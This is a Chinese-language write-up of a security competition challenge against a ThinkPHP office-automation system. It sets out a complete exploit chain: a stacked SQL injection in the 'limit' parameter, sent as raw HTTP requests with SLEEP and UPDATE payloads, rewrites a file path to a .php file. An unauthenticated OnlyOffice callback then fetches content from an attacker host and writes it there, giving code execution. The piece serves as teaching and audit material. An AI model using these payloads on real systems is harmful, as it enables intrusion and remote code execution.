全国软件信息系统安全赛题目 office 复盘

1. 审计入口:先区分鉴权基类
先看控制器基类,确认不同入口的鉴权强度。
-
app/base/BaseController.php:包含checkLogin()和checkAuth(),会做登录校验和路径权限校验。 -
app/api/BaseController.php:主要做登录态校验,没有checkAuth(),所以继承它的接口不能只看“能不能访问路径”,还要重点看对象级权限,也就是传入的id/file_id/uid是否绑定当前$this->uid。
这里需要注意:继承 app\api\BaseController 不等于一定有漏洞,只是代表路径权限控制较弱。真正的问题要落到具体函数的数据归属校验上。
筛选继承 app\api\BaseController 的控制器:
rg -l-F'use app\api\BaseController;' app -g'**/controller/*.php'
重点关注的文件包括:
app/api/controller/Office.phpapp/api/controller/Index.phpapp/api/controller/Export.phpapp/api/controller/Check.phpapp/home/controller/Approve.php
2. ThinkPHP 路由解析
因为 ThinkPHP 会根据 URL 动态解析控制器和方法,所以无法用Phpstorm上自带的用法查找功能查找函数的调用位置是正常的,需要先在Thinkphp手册上了解基本的路由规则。
/project/task/view/id/1.html
实际对应:
app/project/controller/Task.php::view($id=1)
再比如:
/api/export/pdf?types=files&id=2
实际对应:
app/api/controller/Export.php::pdf($types='files', $id=2)
3. 危险函数筛选,发现 office.php 文件覆盖点
用危险函数筛选文件操作:
rg -n-o-g"*.php""request\(\)->file|Filesystem|putFile|putFileAs|fopen|unlink|readfile|download|file_put_contents|file_get_contents" app public
这里的危险函数还可以根据自己的需求扩充,我这里只筛选了文件操作相关的代码。实际中肯定还有必要加上反序列化,执行等高危操作的筛选。
关键点在 public/office.php:
$data=json_decode($body_stream, TRUE);if ($data["status"] ==2){$downloadUri=$data["url"];$key=$data["key"];$id=explode('T', $key)[1];$file_path=Db::name('File')->where('id',$id)->value('filepath');$path_for_save=dirname(CMS_ROOT).$file_path;$new_data=file_get_contents($downloadUri);file_put_contents($path_for_save, $new_data, LOCK_EX);}
这里的逻辑是:
-
url控制下载内容来源。 -
key里的T<ID>控制oa_file.id。 -
最终写入路径不是
url,而是数据库里的oa_file.filepath。
单独看这个点,风险是未授权 OnlyOffice callback,可以造成任意 URL 内容下载和已有文件覆盖。但正常 filepath 经过验证后发现都是 .txt/.jpg/.docx,所以还不能直接 RCE。下一步要找能不能控制 oa_file.filepath。
4. 找到 SQL 注入修改 oa_file.filepath
注入点在 app/home/controller/Approve.php::get_list():
$page=isset($param['page']) ?$param['page'] : 1;$pageSize=$param['limit'];$offset= ($page-1) * (int)$pageSize;$finalSql=$unionSql . "ORDER BY create_time DESC LIMIT {$offset}, {$pageSize}";$stmt=$pdo->query($finalSql);
虽然 $offset 使用 (int)$pageSize 参与计算,但 $pageSize 本身又原样拼进 LIMIT 后半部分,所以 limit 参数存在 SQL 注入,并且可以堆叠执行额外 SQL。
有一个坑:mylist() 只有 Ajax 请求才会进入查询逻辑。
if (request()->isAjax()) {$param=get_params(); ...$list=$this->get_list($where,$param);}
所以 Burp 请求里必须加:
X-Requested-With: XMLHttpRequest
延时验证:
GET/home/approve/mylist?limit=1%3B%20SELECT%20SLEEP(5)&page=1HTTP/1.1Host: 127.0.0.1:8089X-Requested-With: XMLHttpRequestCookie: PHPSESSID=...Connection: close
延时成功后,用堆叠注入修改当前用户文件记录的 filepath:
UPDATE oa_fileSET filepath='/storage/202606/burp_probe.php'WHERE id=5AND user_id=5;
对应请求:
GET/home/approve/mylist?limit=1%3B%20UPDATE%20oa_file%20SET%20filepath%3D%27/storage/202606/burp.php%27%20WHERE%20id%3D5%20AND%20user_id%3D5&page=1HTTP/1.1Host: 127.0.0.1:8089X-Requested-With: XMLHttpRequestCookie: PHPSESSID=...Connection: close
注意:limit 前面必须保留合法数字,比如 1; UPDATE ...。如果直接写 limit=; UPDATE ...,SQL 会变成 LIMIT 0, ; UPDATE ...,语法错误。

5. 验证 filepath 是否修改成功
可以通过 app/api/controller/Office.php::officeapps() 读出 oa_file.filepath:
publicfunctionofficeapps($id=0,$mode='edit'){$file=Db::name('File')->where('id',$id)->find();$path=$file['filepath'];$domain=$_SERVER['HTTP_HOST'];$url="//".$domain.$path;returnView('',['url'=>$url]);}
访问:
GET/api/office/officeapps/id/5.htmlHTTP/1.1Host: 127.0.0.1:8089Cookie: PHPSESSID=...Connection: close
如果页面源码(需要在F12里查看)中出现:
/storage/202606/burp.php
说明数据库字段已经被成功修改。
6. 利用 office.php 写入 PHP 内容,完成链路闭环
public/office.php 会根据 key 里的 id 查询 oa_file.filepath,然后把 url 下载到这个路径。
先准备一个无害 PHP 证明内容,例如:
<?php phpinfo()"; ?>
然后请求 /office.php:
POST/office.phpHTTP/1.1Host: 127.0.0.1:8089Content-Type: application/jsonConnection: close{"status":2,"url":"http://VPS/phpinfo.txt","key":"key1780384398T5"}
这里要明确:
-
url是内容来源。 -
key中的T5表示使用oa_file.id=5。 -
写入目标由数据库里的
oa_file.filepath决定。
最后访问:
http://127.0.0.1:8089/storage/202606/burp.php
如果返回:
phpinfo对应的界面
说明利用链闭环。

7. 最终漏洞链总结
完整链路是:
普通用户登录 -> /home/approve/mylist 的 limit 参数堆叠 SQL 注入 -> 修改 oa_file.filepath 为 public/storage 下的 .php 路径 -> /office.php 未授权回调下载外部内容 -> file_put_contents 写入数据库指定路径 -> 访问 storage 下的 PHP 文件完成代码执行证明
这个题的难点在于需要把多个弱点串起来利用:
-
app/api/BaseController只校验登录,不做路径权限。 -
Approve::get_list()的limit参数 SQL 注入可以改数据库。 -
public/office.php未授权文件覆盖,且写入路径来自oa_file.filepath。
单独的文件覆盖只能覆盖已有普通附件,单独的 SQL 注入也不一定直接出 RCE;真正的利用价值来自通过 SQL 注入把文件路径改成可执行 PHP 路径,再借助 office.php 写入内容。
夜雨聆风